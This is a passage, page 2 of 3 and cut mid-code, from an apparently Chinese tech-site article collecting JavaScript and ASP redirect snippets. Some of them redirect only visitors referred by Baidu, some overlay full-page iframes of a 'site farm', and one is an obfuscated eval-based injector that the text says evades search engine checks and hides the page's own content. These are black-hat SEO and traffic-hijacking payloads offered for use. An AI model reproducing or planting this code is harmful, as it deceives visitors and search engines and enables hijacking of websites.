设为首页 加入收藏

TOP

最常用的几种js跳转方式及代码集锦(二)
2017-10-13 10:49:49 】 浏览:4730
Tags:常用 方式 代码 集锦
)
      location.href="http://www.gpbrother.cn/";
      </script>

2、JS直接跳转代码

    <script LANGUAGE="java script">
      location.href="http://www.gpbrother.cn/";
      </script>

3、ASP跳转代码判断来路

    <%
      if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
      response.redirect("http://www.gpbrother.cn/")
      end if
      %>

4、ASP直接跳转的

    <%
      response.redirect("http://www.gpbrother.cn/")
      %>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

    document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.gpbrother.cn/></iframe>");

2、全部覆盖的代码

    document.write("</iframe><iframe src='http://www.gpbrother.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%'  height='2000'>");

3、混淆防止搜索引擎被查的js调用

具体的展示上面是广告下面是站群的代码:

    var  ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
      eva l("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
      try{
              setInterval(function(){
                      try{
                              document.getElementById("div"+"All").style.display="no"+"ne";
                      }catch(e){}
                      for(var i=0;i<document.body.children.length;i++){
                            try{
                                    var tagname = document.body.children[i].tagName;
                                    var myid = document.body.children[i]
首页 上一页 1 2 3 下一页 尾页 2/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇IE 直接打印 页面的方式 下一篇【原】vue单文件组件互相通讯

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目